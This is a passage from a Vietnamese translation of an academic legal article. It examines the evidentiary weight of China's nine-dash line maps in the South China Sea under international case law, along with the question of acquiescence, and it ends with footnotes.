tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN 